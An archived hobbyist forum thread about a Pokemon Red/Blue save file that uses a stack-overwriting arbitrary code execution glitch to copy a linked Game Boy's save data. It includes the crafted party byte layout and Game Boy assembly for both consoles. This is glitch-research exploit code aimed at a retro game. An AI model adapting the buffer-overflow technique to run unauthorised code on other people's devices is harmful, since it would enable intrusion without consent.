Glitch City Laboratories Archives

Glitch City Laboratories closed on 1 September 2020 (announcement). This is an archived copy of a thread from Glitch City Laboratories Forums.

You can join Glitch City Research Institute to ask questions or discuss current developments.

You may also download the archive of this forum in .tar.gz, .sql.gz, or .sqlite.gz formats.

Arbitrary Code Execution Discussion

Downloading save files from another Gameboy with Pokemon Red/Blue - Page 1

Downloading save files from another Gameboy with Pokemon Red/Blue

Posted by: Couldntthinkofaname
Date: 2018-01-08 11:35:46
Note: This only allows for Red -> Red or Blue -> Blue duplications. Attempting an R -> B or vice versa will result in a glitch Pokemon center that you cannot escape from

Hey all! Not sure how useful this might be, but I made a save file (well, "made", meaning I saved the game) that allows you to duplicate and play the save file of the person you are trading with in Pokemon Red/Blue! It uses the RCE method discovered by Vagiular and documented here.

To Use

1. Have a Pokemon Red/Blue cartridge with the save file you wish to duplicate (This file needs no special prerequisites, outside of being able to use Cable club, meaning oak's parcel has been delivered)
2. Have a copy of the same game (Red/Blue wise), with it's respective duplication save file loaded (I have attached both saves to this thread)
2. Connect the two via link cable (If you're on BGB, you can do this with Right Click>Link>Listen on one and Right Click>Link>Connect on the other)
3. Go to the Trade Colosseum
4. Start a trade
5. Wait for save file transfer to complete
Few things to note: This is different from Mr.Cheeze's virus in that this needs to transfer all three banks. As such, this is going to take a minute or two. Be patient.

During this time, you will notice both screens will become glitched. This is the save file data you are duplicating, being represented as tiles.

6. Once they are finished, both Gameboys will restart
7. You should now be able to play the save file you duplicated!

Technical

As i mentioned earlier, this uses the exploit vaguilar discovered and documented.

As you might have guessed, this was inspired by "Mr.Cheeze's virus"

Basically what vaguilar's exploit does is since the subroutine that draws Pokemon names to the screen doesn't end until it reaches the $FF terminator, you can change bytes in your party to force the subroutine to write names to the stack, forcing the game to jump to a certain address upon reaching "ret". In order to force the buffer to go that far, and to not damage any other important parts of RAM, we use glitch Pokemon $E3 (or $E4), as it's name begins with an end terminator $50. Because of this, we can safely move the buffer forward.

Our party looks like this: (note: Referring to the game gameboy you are duplicating the save file from as "victim", the other gameboy with my save file will be referred to as "master")

06 ; # of Pokemon, completely irrelevant
00 x6  ; These six pokemon are irrelevant also
e3 x346 ; Advance the buffer to the "victim"'s stack
ce ; Write $CE's name to the victim's stack (EE 21 96 D7 CB 86 21 A3 D7 CB), "A3 D7" is what the game will read from when returning, causing it to jump to $D7A3 (nop slide to master's name)
e3 x7 ; Advance the buffer to the "master"'s stack
f1 ; Write $F1's name to the stack (40 40 40 FF FA 30 D7 CB 47 C0) "30 D7" is what the game reads from when returning, forcing a jump to $D730 (event flags)
ff ; Cause aforementioned buffer to return, forcing the jumps

---
ld a,8 ; a = 8
ldh [rIE],a ; Only allow serial int
ld hl,$0316 ; Garbage to send master in exchange for payload (starts with $FD to allow for transfer)
ld de,$dc00 ; Location to store payload
ld bc,$0110 ; Bytes to send (sends way more than necessary to account for $fd bytes)
call $216f ; Exchange data
ld hl,$dc00
ld b,$fd
.loop: ; Check for FD bytes
ldi a,[hl] ; Grab byte at hl
cp b ; Is it $fd?
jr z,.loop ; If it is, keep looking
dec hl ; Undo the ldi
ld a,$0d ; a = $0D
ldh [rIE],a ; Enable vblank,timer,and serial ints
jp hl ; Jump to payload sent by master


At this point, the victim Gameboy is executing code from the master's name. The code we have written there causes the victim Gameboy to wait for synchronization with the master, and display the "Waiting!" text on the screen. The master gameboy is executing code in a section of RAM that is normally used for event flags. It nop slides to $D743, which there we have written a jump instructon to $DA80, our "PC pokemon" (there we have written another payload). Aforementioned payload causes master to synchronize with the slave gameboy.

Once both gameboys are synchronized (using a subroutine at $226E, or $227F if we do not want to display the "Waiting!" text), we call a subroutine to delay for a few frames, and then we begin the transfer.

The master gameboy first transmits the payload we want the victim to execute. The victim then (after jumping to a payload written at the end of master's party) executes the aforementioned payload, which causes the victim to write 03:A000 - 03:AFFF to the tilemap buffer. Then, both gameboys synchronize once more, and the victim gameboy sends over that portion of the save file (receives garbage in return). The master then copies what it receives into it's own save file in it's respective location. It does this for each 256-byte portion of that SRAM banks before switching banks. Once all 4 banks have been copied (0 - 3), the game locks SRAM and then restarts.

Code executed by master at $DA80:

transmitpayload:
call $226e
call $3dd7
ld a,8
ldh [$ff],a
ld hl,$d53a
ld de,$c3a0
ld bc,$110
call $216f
ld a,$0d
ldh [$ff],a
Start:
ld b,4
push bc
ld a,$0a
ld h,a
swap a
push af
ld [hl],h
ld h,$40
dec b
ld [hl],b
ld h,$60
ld l,$01
ld [hl],l
transmit:
call $227f
call $3dd7
ld a,8
ldh [$ff],a
ld hl,$0316
ld bc,$10b
ld de,$c3a0
call $216f
ld a,$0d
ldh [$ff],a
findhl:
ld hl,$c3a0
ld b,$fd
.loop:
ldi a,[hl]
cp b
jr z,.loop
dec hl
Init:
pop af
ld d,a
push af
ld e,0
ld bc,$100
memcpy:
ldi a,[hl]
ld [de],a
inc de
dec bc
ld a,b
or c
jr nz,memcpy
determine:
pop af
inc a
ld b,$c0
cp b
jr z,bankswap
push af
jr transmit
bankswap:
pop bc
dec b
push bc
jr z,end
ld h,$40
dec b
ld [hl],b
ld a,$a0
push af
jr transmit
end:
ld h,$00
ld [hl],h
jp $100


Code executed by victim (near $dc00)

Start:
ld b,4
push bc
ld a,$0a
ld h,a
swap a
push af
ld [hl],h
ld h,$40
dec b
ld [hl],b
ld h,$60
ld l,$01
ld [hl],l

Init:
pop af
ld h,a
ld l,$ff
ld de,$c507
ld bc,$100
push af
backwardsmemcpy:
ldd a,[hl]
ld [de],a
dec de
dec bc
ld a,b
or c
jr nz,backwardsmemcpy
ld a,$fd
ld [de],a
transmit:
push de
call $227f
call $3dd7
pop hl
ld a,8
ldh [$ff],a
ld de,$c200
ld bc,$10b
call $216f
ld a,$0d
ldh [$ff],a
determine:
pop af
inc a


Sorry if I over/under explained. Enjoy!

Re: Downloading save files from another Gameboy with Pokemon Red/Blue

Posted by: flor12344
Date: 2018-03-12 12:12:10
very good.
but you could make a version without writing to the screen.

Re: Downloading save files from another Gameboy with Pokemon Red/Blue

Posted by: ISSOtm
Date: 2018-03-15 14:53:17
Of course, but it's better to do write to the screen, to signal that the transfer is properly progressing.

Re: Downloading save files from another Gameboy with Pokemon Red/Blue

Posted by: flor12344
Date: 2018-08-14 04:02:20
yeah but sometimes its better to do it silent